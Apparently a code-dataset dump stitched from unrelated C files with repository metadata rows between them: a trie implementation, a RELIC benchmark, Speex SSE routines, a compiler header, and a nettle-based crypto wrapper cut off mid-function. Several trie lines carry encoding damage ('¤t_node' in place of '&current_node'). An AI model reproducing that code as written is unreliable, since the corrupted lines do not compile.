trie trie_create(trie_cb_hash hash_cb, trie_cb_compare compare_cb)
{
return trie_create_reserve(TRIE_CAPACITY_MIN, 0, 0, hash_cb, compare_cb);
}
trie trie_create_reserve(size_t capacity, size_t key_limit, size_t depth_limit, trie_cb_hash hash_cb, trie_cb_compare compare_cb)
{
trie t;
size_t iterator;
if (hash_cb == NULL && compare_cb == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid callback");
return NULL;
}
t = malloc(sizeof(struct trie_type));
if (t == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie bad allocation");
return NULL;
}
t->size = 1;
t->capacity = (capacity < TRIE_CAPACITY_MIN) ? TRIE_CAPACITY_MIN : capacity;
t->key_limit = key_limit;
t->depth_limit = depth_limit;
t->hash_cb = hash_cb;
t->compare_cb = compare_cb;
t->node_list = malloc(t->capacity * sizeof(struct trie_node_type));
if (t->node_list == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie bad node list creation");
free(t);
return NULL;
}
for (iterator = 0; iterator < t->capacity; ++iterator)
{
trie_node n = &t->node_list[iterator];
n->parent_index = 0;
n->self_index = 0;
n->key = NULL;
n->value = NULL;
n->childs = NULL;
}
t->root = &t->node_list[0];
t->free_node_list = NULL;
return t;
}
size_t trie_size(trie t)
{
if (t != NULL)
{
return t->size - 1;
}
return 0;
}
size_t trie_capacity(trie t)
{
if (t != NULL)
{
return t->capacity;
}
return 0;
}
trie_node trie_node_insert(trie t, trie_node parent, trie_key key, trie_value value)
{
trie_node child;
trie_node_ref child_ref;
if (t == NULL || parent == NULL || key == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid node insertion parameters");
return NULL;
}
child_ref = malloc(sizeof(struct trie_node_ref_type));
if (child_ref == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie node insert bad reference node allocation");
return NULL;
}
child_ref->key = key;
if (parent->childs == NULL)
{
parent->childs = set_create(t->hash_cb, t->compare_cb);
if (parent->childs == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid child set allocation");
free(child_ref);
return NULL;
}
}
if (t->free_node_list != NULL)
{
trie_node_free node_free = t->free_node_list;
t->free_node_list = node_free->next;
child_ref->index = node_free->index;
child = &t->node_list[child_ref->index];
free(node_free);
++t->size;
}
else
{
if ((t->size + 1) >= t->capacity)
{
register void *node_list;
size_t capacity = t->capacity << 1;
size_t iterator;
node_list = realloc(t->node_list, capacity * sizeof(struct trie_node_type));
if (node_list == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie bad node list reallocation");
free(child_ref);
return NULL;
}
t->node_list = node_list;
t->capacity = capacity;
t->root = &t->node_list[0];
for (iterator = t->size + 1; iterator < t->capacity; ++iterator)
{
trie_node n = &t->node_list[iterator];
n->parent_index = 0;
n->self_index = 0;
n->key = NULL;
n->value = NULL;
n->childs = NULL;
}
}
child_ref->index = t->size;
child = &t->node_list[child_ref->index];
++t->size;
}
if (child != NULL)
{
if (set_insert(parent->childs, key, child_ref) != 0)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid child insertion");
free(child_ref);
return NULL;
}
child->parent_index = parent->self_index;
child->self_index = child_ref->index;
child->key = key;
child->value = value;
child->childs = NULL;
return child;
}
free(child_ref);
return NULL;
}
int trie_insert(trie t, vector keys, trie_value value)
{
if (t != NULL)
{
size_t iterator, size = vector_size(keys);
trie_node current_node = t->root;
for (iterator = 0; current_node != NULL && iterator < size; ++iterator)
{
trie_key *key_ptr = vector_at(keys, iterator);
trie_node next_node = NULL;
if (current_node->childs != NULL)
{
trie_node_ref node_ref = set_get(current_node->childs, *key_ptr);
if (node_ref != NULL)
{
next_node = &t->node_list[node_ref->index];
}
}
if (next_node == NULL)
{
if (iterator == (size - 1))
{
next_node = trie_node_insert(t, current_node, *key_ptr, value);
}
else
{
next_node = trie_node_insert(t, current_node, *key_ptr, NULL);
}
if (next_node == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid node insertion");
return 1;
}
}
current_node = next_node;
}
return 0;
}
return 1;
}
trie_node trie_node_get(trie t, vector keys)
{
if (t != NULL)
{
size_t iterator, size = vector_size(keys);
trie_node current_node = t->root;
for (iterator = 0; current_node != NULL && iterator < size; ++iterator)
{
trie_key *key_ptr = vector_at(keys, iterator);
trie_node next_node = NULL;
if (current_node->childs != NULL)
{
trie_node_ref node_ref = set_get(current_node->childs, *key_ptr);
if (node_ref != NULL)
{
next_node = &t->node_list[node_ref->index];
}
}
if (iterator == (size - 1) && next_node != NULL)
{
return next_node;
}
current_node = next_node;
}
}
return NULL;
}
trie_value trie_get(trie t, vector keys)
{
if (t != NULL)
{
trie_node n = trie_node_get(t, keys);
if (n != NULL)
{
return n->value;
}
}
return NULL;
}
trie_value trie_remove(trie t, vector keys)
{
if (t != NULL)
{
trie_node n = trie_node_get(t, keys);
if (n != NULL)
{
trie_value value = n->value;
if (trie_node_clear(t, n) == 0)
{
return value;
}
}
}
return NULL;
}
int trie_node_childs_cb_iterator(set s, set_key key, set_value value, set_cb_iterate_args args)
{
if (s != NULL && key != NULL && value != NULL && args != NULL)
{
trie_node_set_iterator_args iterator_args = args;
trie_node_ref ref_node = value;
trie_node current_node = &iterator_args->t->node_list[ref_node->index];
trie_node_iterate(iterator_args->t, current_node, iterator_args->iterate_cb, iterator_args->args);
return 0;
}
return 1;
}
void trie_node_iterate_recursive(trie t, trie_node n, trie_cb_iterate iterate_cb, trie_cb_iterate_args args)
{
if (t != NULL && n != NULL && iterate_cb != NULL)
{
struct trie_node_set_iterator_args_type child_args;
child_args.t = t;
child_args.iterate_cb = iterate_cb;
child_args.args = args;
iterate_cb(t, n->key, n->value, args);
set_iterate(n->childs, &trie_node_childs_cb_iterator, &child_args);
}
}
void trie_iterate_recursive(trie t, trie_cb_iterate iterate_cb, trie_cb_iterate_args args)
{
if (t != NULL && iterate_cb != NULL)
{
trie_node_iterate_recursive(t, t->root, iterate_cb, args);
}
}
void trie_node_iterate(trie t, trie_node n, trie_cb_iterate iterate_cb, trie_cb_iterate_args args)
{
if (t != NULL && n != NULL && iterate_cb != NULL)
{
vector node_stack = vector_create(sizeof(trie_node));
vector_push_back(node_stack, &n);
while (vector_size(node_stack) > 0)
{
trie_node *back_ptr = vector_back(node_stack);
vector_pop_back(node_stack);
if (back_ptr != NULL && *back_ptr != NULL)
{
trie_node back = *back_ptr;
if (back->childs != NULL)
{
set_iterator it;
for (it = set_iterator_begin(back->childs); set_iterator_end(&it) > 0; set_iterator_next(it))
{
trie_node_ref ref_node = set_iterator_get_value(it);
trie_node current_node = &t->node_list[ref_node->index];
vector_push_back(node_stack, ¤t_node);
}
}
iterate_cb(t, back->key, back->value, args);
}
}
vector_destroy(node_stack);
}
}
void trie_iterate(trie t, trie_cb_iterate iterate_cb, trie_cb_iterate_args args)
{
if (t != NULL && iterate_cb != NULL)
{
trie_node_iterate(t, t->root, iterate_cb, args);
}
}
int trie_node_append_cb_iterator(trie t, trie_key key, trie_value value, trie_cb_iterate_args args)
{
if (t != NULL && key != NULL && value != NULL && args != NULL)
{
trie_node_append_iterator_args iterator_args = args;
vector_clear(iterator_args->prefixes);
if (trie_prefixes(t, key, iterator_args->prefixes) == 0)
{
return trie_insert(iterator_args->dest, iterator_args->prefixes, value);
}
}
return 1;
}
int trie_append(trie dest, trie src)
{
if (dest != NULL && src != NULL)
{
struct trie_node_append_iterator_args_type args;
args.dest = dest;
args.prefixes = vector_create(sizeof(trie_key));
trie_iterate(src, &trie_node_append_cb_iterator, &args);
vector_destroy(args.prefixes);
return 0;
}
return 1;
}
int trie_node_clear(trie t, trie_node n)
{
if (t != NULL && n != NULL)
{
vector node_stack = vector_create(sizeof(trie_node));
vector_push_back(node_stack, &n);
while (vector_size(node_stack) > 0)
{
trie_node *back_ptr = vector_back(node_stack);
vector_pop_back(node_stack);
if (back_ptr != NULL && *back_ptr != NULL)
{
trie_node back = *back_ptr;
trie_node_free free_node;
if (back->childs != NULL)
{
set_iterator it;
for (it = set_iterator_begin(back->childs); set_iterator_end(&it) > 0; set_iterator_next(it))
{
trie_node_ref ref_node = set_iterator_get_value(it);
trie_node current_node = &t->node_list[ref_node->index];
vector_push_back(node_stack, ¤t_node);
free(ref_node);
}
set_destroy(back->childs);
}
free_node = malloc(sizeof(struct trie_node_free_type));
if (free_node == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid free node allocation");
vector_destroy(node_stack);
return 1;
}
free_node->next = t->free_node_list;
free_node->index = back->self_index;
t->free_node_list = free_node;
--t->size;
}
}
vector_destroy(node_stack);
return 0;
}
return 1;
}
int trie_clear(trie t)
{
if (t != NULL && t->root != NULL)
{
return trie_node_clear(t, t->root);
}
return 1;
}
trie_node trie_node_find(trie t, trie_key key)
{
if (t != NULL && key != NULL)
{
vector node_stack = vector_create(sizeof(trie_node));
vector_push_back(node_stack, &t->root);
while (vector_size(node_stack) > 0)
{
trie_node *back_ptr = vector_back(node_stack);
vector_pop_back(node_stack);
if (back_ptr != NULL && *back_ptr != NULL)
{
trie_node back = *back_ptr;
set_iterator it = NULL;
if (back->childs != NULL)
{
for (it = set_iterator_begin(back->childs); set_iterator_end(&it) > 0; set_iterator_next(it))
{
trie_node_ref ref_node = set_iterator_get_value(it);
trie_node current_node = &t->node_list[ref_node->index];
vector_push_back(node_stack, ¤t_node);
}
}
if (back->key != NULL && t->compare_cb(back->key, key) == 0)
{
while (set_iterator_end(&it) > 0)
{
set_iterator_next(it);
}
vector_destroy(node_stack);
return back;
}
}
}
vector_destroy(node_stack);
}
return NULL;
}
int trie_prefixes(trie t, trie_key key, vector prefixes)
{
if (t != NULL && key != NULL && prefixes != NULL)
{
trie_node node_iterator = trie_node_find(t, key);
if (node_iterator != NULL)
{
size_t index_iterator;
for (index_iterator = node_iterator->self_index; index_iterator > 0; index_iterator = node_iterator->parent_index)
{
node_iterator = &t->node_list[index_iterator];
vector_push_front(prefixes, &node_iterator->key);
}
return 0;
}
}
return 1;
}
int trie_node_suffixes_cb_iterator(trie t, trie_key key, trie_value value, trie_cb_iterate_args args)
{
if (t != NULL && key != NULL && value != NULL && args != NULL)
{
trie_node_suffixes_iterator_args iterator_args = args;
vector_clear(iterator_args->prefixes);
if (trie_prefixes(t, key, iterator_args->prefixes) == 0)
{
return trie_insert(iterator_args->suffix_trie, iterator_args->prefixes, value);
}
}
return 1;
}
trie trie_suffixes(trie t, trie_key key)
{
if (t != NULL && key != NULL)
{
trie_node node_iterator = trie_node_find(t, key);
if (node_iterator != NULL)
{
trie suffix_trie = trie_create(t->hash_cb, t->compare_cb);
struct trie_node_suffixes_iterator_args_type suffix_args;
if (suffix_trie == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid suffix trie creation");
return NULL;
}
suffix_args.suffix_trie = suffix_trie;
suffix_args.prefixes = vector_create(sizeof(trie_key));
if (suffix_args.prefixes == NULL)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid prefix vector creation");
trie_destroy(suffix_trie);
return NULL;
}
trie_node_iterate(t, node_iterator, &trie_node_suffixes_cb_iterator, &suffix_args);
vector_destroy(suffix_args.prefixes);
return suffix_trie;
}
}
return NULL;
}
void trie_destroy(trie t)
{
if (t != NULL)
{
if (trie_clear(t) != 0)
{
log_write("metacall", LOG_LEVEL_ERROR, "Trie invalid destruction");
}
if (t->node_list != NULL)
{
free(t->node_list);
}
while (t->free_node_list != NULL)
{
trie_node_free free_node = t->free_node_list;
t->free_node_list = t->free_node_list->next;
free(free_node);
}
free(t);
}
}
|
7c952e65cd269a7e236b7a3cfc70c5bca1c0d62a
|
c013cf150a7ae728caa1468125f0d42f7a5a52eb
|
/src/chiabls/contrib/relic/bench/bench_err.c
|
bb99e94edefde5e9d50a9336e60a24c4c4c5b107
|
[
"MIT",
"LGPL-2.1-only",
"Apache-2.0",
"LGPL-2.0-or-later",
"LGPL-2.1-or-later",
"LicenseRef-scancode-warranty-disclaimer",
"ISC",
"LGPL-3.0-only"
] |
permissive
|
PIVX-Project/PIVX
|
c9d209ea7b8cee627f5ccc1cb63d334b68c454de
|
7488a2721da8a4defc08d145dadd3c3065e2735d
|
refs/heads/master
| 2023-08-19T10:18:31.494805
| 2023-08-17T03:38:56
| 2023-08-17T03:40:09
| 50,740,659
| 663
| 1,520
|
MIT
| 2023-09-13T06:26:34
| 2016-01-30T19:20:24
|
C++
|
UTF-8
|
C
| false
| false
| 1,815
|
c
|
bench_err.c
|
/*
* RELIC is an Efficient LIbrary for Cryptography
* Copyright (c) 2009 RELIC Authors
*
* This file is part of RELIC. RELIC is legal property of its developers,
* whose names are not listed here. Please refer to the COPYRIGHT file
* for contact information.
*
* RELIC is free software; you can redistribute it and/or modify it under the
* terms of the version 2.1 (or later) of the GNU Lesser General Public License
* as published by the Free Software Foundation; or version 2.0 of the Apache
* License as published by the Apache Software Foundation. See the LICENSE files
* for more details.
*
* RELIC is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
* A PARTICULAR PURPOSE. See the LICENSE files for more details.
*
* You should have received a copy of the GNU Lesser General Public or the
* Apache License along with RELIC. If not, see <https://www.gnu.org/licenses/>
* or <https://www.apache.org/licenses/>.
*/
/**
* @file
*
* Benchmarks for error-management routines.
*
* @ingroup bench
*/
#include <stdio.h>
#include "relic.h"
#include "relic_bench.h"
static void dummy2(void) {
}
static void dummy(void) {
RLC_TRY {
/* Empty block just to test overhead of error triggering mechanism. */
}
RLC_CATCH_ANY {
/* Exceptions are thrown here. */
}
RLC_FINALLY {
/* This is executed after exception handling. */
}
}
static void error(void) {
BENCH_RUN("empty function") {
BENCH_ADD(dummy2());
}
BENCH_END;
BENCH_RUN("try-catch-finnaly") {
BENCH_ADD(dummy());
}
BENCH_END;
}
int main(void) {
if (core_init() != RLC_OK) {
core_clean();
return 1;
}
conf_print();
util_banner("Benchmarks for the ERR module:\n", 0);
error();
core_clean();
return 0;
}
|
9c8d01f6eecc00e49f5b5bba74c168e9a4d28f37
|
c9ccffb36c57deadac03ce085f2386491f58f690
|
/Source/include/OCHamcrest/HCClassMatcher.h
|
d8afc9255b3213915a1d35f6eee5ca528751fcd3
|
[
"BSD-2-Clause"
] |
permissive
|
hamcrest/OCHamcrest
|
0aea32c29accda7308476c5096382d0f7f65ee23
|
88e0f9bf349b78fc5e1edfeb85f896c0d5a93a60
|
refs/heads/main
| 2023-08-31T17:45:14.887107
| 2023-08-14T01:10:50
| 2023-08-14T01:10:50
| 1,180,662
| 371
| 65
|
BSD-2-Clause
| 2023-09-04T23:07:20
| 2010-12-18T22:29:39
|
Objective-C
|
UTF-8
|
C
| false
| false
| 37
|
h
|
HCClassMatcher.h
|
../../Library/Object/HCClassMatcher.h
|
a3b93423170343bb8f56df828d08a8fd6c974717
|
c1ff870879152fba2b54eddfb7591ec322eb3061
|
/core/sceneManager/network/3rdParty/raknet/DependentExtensions/speex-1.1.12/libspeex/ltp_sse.h
|
94c0012a45b07a2a53b183ca8f2eb9137e06ff37
|
[
"BSD-3-Clause",
"LicenseRef-scancode-free-unknown",
"BSD-2-Clause",
"MIT"
] |
permissive
|
MTASZTAKI/ApertusVR
|
1a9809fb7af81c3cd7fb732ed481ebe4ce66fefa
|
424ec5515ae08780542f33cc4841a8f9a96337b3
|
refs/heads/0.9
| 2022-12-11T20:03:42.926813
| 2019-10-11T09:29:45
| 2019-10-11T09:29:45
| 73,708,854
| 188
| 55
|
MIT
| 2022-12-11T08:53:21
| 2016-11-14T13:48:00
|
C++
|
UTF-8
|
C
| false
| false
| 3,220
|
h
|
ltp_sse.h
|
/* Copyright (C) 2002 Jean-Marc Valin */
/**
@file ltp_sse.h
@brief Long-Term Prediction functions (SSE version)
*/
/*
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <xmmintrin.h>
#define OVERRIDE_INNER_PROD
static float inner_prod(const float *a, const float *b, int len)
{
int i;
float ret;
__m128 sum = _mm_setzero_ps();
for (i=0;i<(len>>2);i+=2)
{
sum = _mm_add_ps(sum, _mm_mul_ps(_mm_loadu_ps(a+0), _mm_loadu_ps(b+0)));
sum = _mm_add_ps(sum, _mm_mul_ps(_mm_loadu_ps(a+4), _mm_loadu_ps(b+4)));
a += 8;
b += 8;
}
sum = _mm_add_ps(sum, _mm_movehl_ps(sum, sum));
sum = _mm_add_ss(sum, _mm_shuffle_ps(sum, sum, 0x55));
_mm_store_ss(&ret, sum);
return ret;
}
#define OVERRIDE_PITCH_XCORR
static void pitch_xcorr(const float *_x, const float *_y, float *corr, int len, int nb_pitch, char *stack)
{
int i, offset;
VARDECL(__m128 *x);
VARDECL(__m128 *y);
int N, L;
N = len>>2;
L = nb_pitch>>2;
ALLOC(x, N, __m128);
ALLOC(y, N+L, __m128);
for (i=0;i<N;i++)
x[i] = _mm_loadu_ps(_x+(i<<2));
for (offset=0;offset<4;offset++)
{
for (i=0;i<N+L;i++)
y[i] = _mm_loadu_ps(_y+(i<<2)+offset);
for (i=0;i<L;i++)
{
int j;
__m128 sum, *xx, *yy;
sum = _mm_setzero_ps();
yy = y+i;
xx = x;
for (j=0;j<N;j+=2)
{
sum = _mm_add_ps(sum, _mm_mul_ps(xx[0], yy[0]));
sum = _mm_add_ps(sum, _mm_mul_ps(xx[1], yy[1]));
xx += 2;
yy += 2;
}
sum = _mm_add_ps(sum, _mm_movehl_ps(sum, sum));
sum = _mm_add_ss(sum, _mm_shuffle_ps(sum, sum, 0x55));
_mm_store_ss(corr+nb_pitch-1-(i<<2)-offset, sum);
}
}
}
|
98cfa9f4481eb15860e82dff17d0f44be28a1114
|
d61b532db0d3e08818338cfaac530a1ced1ffe3b
|
/lang/pc/comp/label.h
|
001865f86f5720e1ebb18c53aab46dd6367a1a47
|
[
"LicenseRef-scancode-other-permissive"
] |
permissive
|
davidgiven/ack
|
61049c7a8e95ff61a77b1edd3c22bb290720e276
|
db5a32c68c4a60ca26a3927a799ea662b5b2b0e5
|
refs/heads/default
| 2023-08-29T07:33:12.771205
| 2023-07-08T20:17:27
| 2023-07-08T20:17:27
| 37,686,316
| 376
| 74
|
NOASSERTION
| 2023-07-08T20:17:28
| 2015-06-18T21:33:42
|
C
|
UTF-8
|
C
| false
| false
| 369
|
h
|
label.h
|
/* Copyright (c) 2019 ACK Project.
* See the copyright notice in the ACK home directory,
* in the file "Copyright".
*
*/
#ifndef LABEL_H_
#define LABEL_H_
struct node;
void DeclLabel(struct node *nd);
void chk_labels(int Slevel);
void TstLabel(register struct node *nd, int Slevel);
void DefLabel(register struct node *nd, int Slevel);
#endif /* LABEL_H_ */
|
7a574a338d2e37c2e63abc9fe9ed0cbaf4ec9f17
|
4674b8088ffdf55905d44995f08a0792a3e4cd5c
|
/src/crypto/crypto_nettle.c
|
4e31bc8011325af6e60877a4a7ed5d06313dff01
|
[
"BSD-3-Clause",
"BSD-2-Clause"
] |
permissive
|
vanhoefm/krackattacks-scripts
|
41daca791638a92aa4cfa68a582e46119037560e
|
4b78669686f74efe664c6543b1b5b1616b22f902
|
refs/heads/research
| 2022-10-29T20:21:11.512335
| 2022-10-16T18:44:41
| 2022-10-16T18:44:41
| 107,408,514
| 2,184
| 577
|
NOASSERTION
| 2021-07-06T12:43:49
| 2017-10-18T12:58:08
|
C
|
UTF-8
|
C
| false
| false
| 9,254
|
c
|
crypto_nettle.c
|
/*
* Wrapper functions for libnettle and libgmp
* Copyright (c) 2017, Jouni Malinen <j@w1.fi>
*
* This software may be distributed under the terms of the BSD license.
* See README for more details.
*/
#include "includes.h"
#include <nettle/nettle-meta.h>
#include <nettle/des.h>
#undef des_encrypt
#include <nettle/hmac.h>
#include <nettle/aes.h>
#undef aes_encrypt
#undef aes_decrypt
#include <nettle/arcfour.h>
#include <nettle/bignum.h>
#include "common.h"
#include "md5.h"
#include "sha1.h"
#include "sha256.h"
#include "sha384.h"
#include "sha512.h"
#include "crypto.h"
int des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
struct des_ctx ctx;
u8 pkey[8], next, tmp;
int i;
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
pkey[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
pkey[i] = next | 1;
nettle_des_set_key(&ctx, pkey);
nettle_des_encrypt(&ctx, DES_BLOCK_SIZE, cypher, clear);
os_memset(&ctx, 0, sizeof(ctx));
return 0;
}
static int nettle_digest_vector(const struct nettle_hash *alg, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
void *ctx;
size_t i;
if (TEST_FAIL())
return -1;
ctx = os_malloc(alg->context_size);
if (!ctx)
return -1;
alg->init(ctx);
for (i = 0; i < num_elem; i++)
alg->update(ctx, len[i], addr[i]);
alg->digest(ctx, alg->digest_size, mac);
bin_clear_free(ctx, alg->context_size);
return 0;
}
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nettle_digest_vector(&nettle_md4, num_elem, addr, len, mac);
}
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nettle_digest_vector(&nettle_md5, num_elem, addr, len, mac);
}
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nettle_digest_vector(&nettle_sha1, num_elem, addr, len, mac);
}
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nettle_digest_vector(&nettle_sha256, num_elem, addr, len, mac);
}
int sha384_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nettle_digest_vector(&nettle_sha384, num_elem, addr, len, mac);
}
int sha512_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nettle_digest_vector(&nettle_sha512, num_elem, addr, len, mac);
}
int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
struct hmac_md5_ctx ctx;
size_t i;
if (TEST_FAIL())
return -1;
hmac_md5_set_key(&ctx, key_len, key);
for (i = 0; i < num_elem; i++)
hmac_md5_update(&ctx, len[i], addr[i]);
hmac_md5_digest(&ctx, MD5_DIGEST_SIZE, mac);
os_memset(&ctx, 0, sizeof(ctx));
return 0;
}
int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
u8 *mac)
{
return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac);
}
int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
struct hmac_sha1_ctx ctx;
size_t i;
if (TEST_FAIL())
return -1;
hmac_sha1_set_key(&ctx, key_len, key);
for (i = 0; i < num_elem; i++)
hmac_sha1_update(&ctx, len[i], addr[i]);
hmac_sha1_digest(&ctx, SHA1_DIGEST_SIZE, mac);
os_memset(&ctx, 0, sizeof(ctx));
return 0;
}
int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
u8 *mac)
{
return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac);
}
#ifdef CONFIG_SHA256
int hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
struct hmac_sha256_ctx ctx;
size_t i;
if (TEST_FAIL())
return -1;
hmac_sha256_set_key(&ctx, key_len, key);
for (i = 0; i < num_elem; i++)
hmac_sha256_update(&ctx, len[i], addr[i]);
hmac_sha256_digest(&ctx, SHA256_DIGEST_SIZE, mac);
os_memset(&ctx, 0, sizeof(ctx));
return 0;
}
int hmac_sha256(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac)
{
return hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac);
}
#endif /* CONFIG_SHA256 */
#ifdef CONFIG_SHA384
int hmac_sha384_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
struct hmac_sha384_ctx ctx;
size_t i;
if (TEST_FAIL())
return -1;
hmac_sha384_set_key(&ctx, key_len, key);
for (i = 0; i < num_elem; i++)
hmac_sha384_update(&ctx, len[i], addr[i]);
hmac_sha384_digest(&ctx, SHA384_DIGEST_SIZE, mac);
os_memset(&ctx, 0, sizeof(ctx));
return 0;
}
int hmac_sha384(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac)
{
return hmac_sha384_vector(key, key_len, 1, &data, &data_len, mac);
}
#endif /* CONFIG_SHA384 */
#ifdef CONFIG_SHA512
int hmac_sha512_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
struct hmac_sha512_ctx ctx;
size_t i;
if (TEST_FAIL())
return -1;
hmac_sha512_set_key(&ctx, key_len, key);
for (i = 0; i < num_elem; i++)
hmac_sha512_update(&ctx, len[i], addr[i]);
hmac_sha512_digest(&ctx, SHA512_DIGEST_SIZE, mac);
os_memset(&ctx, 0, sizeof(ctx));
return 0;
}
int hmac_sha512(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac)
{
return hmac_sha512_vector(key, key_len, 1, &data, &data_len, mac);
}
#endif /* CONFIG_SHA512 */
void * aes_encrypt_init(const u8 *key, size_t len)
{
struct aes_ctx *ctx;
if (TEST_FAIL())
return NULL;
ctx = os_malloc(sizeof(*ctx));
if (!ctx)
return NULL;
nettle_aes_set_encrypt_key(ctx, len, key);
return ctx;
}
int aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
struct aes_ctx *actx = ctx;
nettle_aes_encrypt(actx, AES_BLOCK_SIZE, crypt, plain);
return 0;
}
void aes_encrypt_deinit(void *ctx)
{
struct aes_ctx *actx = ctx;
bin_clear_free(actx, sizeof(*actx));
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
struct aes_ctx *ctx;
if (TEST_FAIL())
return NULL;
ctx = os_malloc(sizeof(*ctx));
if (!ctx)
return NULL;
nettle_aes_set_decrypt_key(ctx, len, key);
return ctx;
}
int aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
struct aes_ctx *actx = ctx;
nettle_aes_decrypt(actx, AES_BLOCK_SIZE, plain, crypt);
return 0;
}
void aes_decrypt_deinit(void *ctx)
{
struct aes_ctx *actx = ctx;
bin_clear_free(actx, sizeof(*actx));
}
int crypto_dh_init(u8 generator, const u8 *prime, size_t prime_len, u8 *privkey,
u8 *pubkey)
{
size_t pubkey_len, pad;
if (os_get_random(privkey, prime_len) < 0)
return -1;
if (os_memcmp(privkey, prime, prime_len) > 0) {
/* Make sure private value is smaller than prime */
privkey[0] = 0;
}
pubkey_len = prime_len;
if (crypto_mod_exp(&generator, 1, privkey, prime_len, prime, prime_len,
pubkey, &pubkey_len) < 0)
return -1;
if (pubkey_len < prime_len) {
pad = prime_len - pubkey_len;
os_memmove(pubkey + pad, pubkey, pubkey_len);
os_memset(pubkey, 0, pad);
}
return 0;
}
int crypto_dh_derive_secret(u8 generator, const u8 *prime, size_t prime_len,
const u8 *privkey, size_t privkey_len,
const u8 *pubkey, size_t pubkey_len,
u8 *secret, size_t *len)
{
return crypto_mod_exp(pubkey, pubkey_len, privkey, privkey_len,
prime, prime_len, secret, len);
}
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
mpz_t bn_base, bn_exp, bn_modulus, bn_result;
int ret = -1;
size_t len;
mpz_inits(bn_base, bn_exp, bn_modulus, bn_result, NULL);
mpz_import(bn_base, base_len, 1, 1, 1, 0, base);
mpz_import(bn_exp, power_len, 1, 1, 1, 0, power);
mpz_import(bn_modulus, modulus_len, 1, 1, 1, 0, modulus);
mpz_powm(bn_result, bn_base, bn_exp, bn_modulus);
len = mpz_sizeinbase(bn_result, 2);
len = (len + 7) / 8;
if (*result_len < len)
goto error;
mpz_export(result, result_len, 1, 1, 1, 0, bn_result);
ret = 0;
error:
mpz_clears(bn_base, bn_exp, bn_modulus, bn_result, NULL);
return ret;
}
struct crypto_cipher {
enum crypto_cipher_alg alg;
union {
struct arcfour_ctx arcfour_ctx;
} u;
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
struct crypto_cipher *ctx;
ctx = os_zalloc(sizeof(*ctx));
if (!ctx)
return NULL;
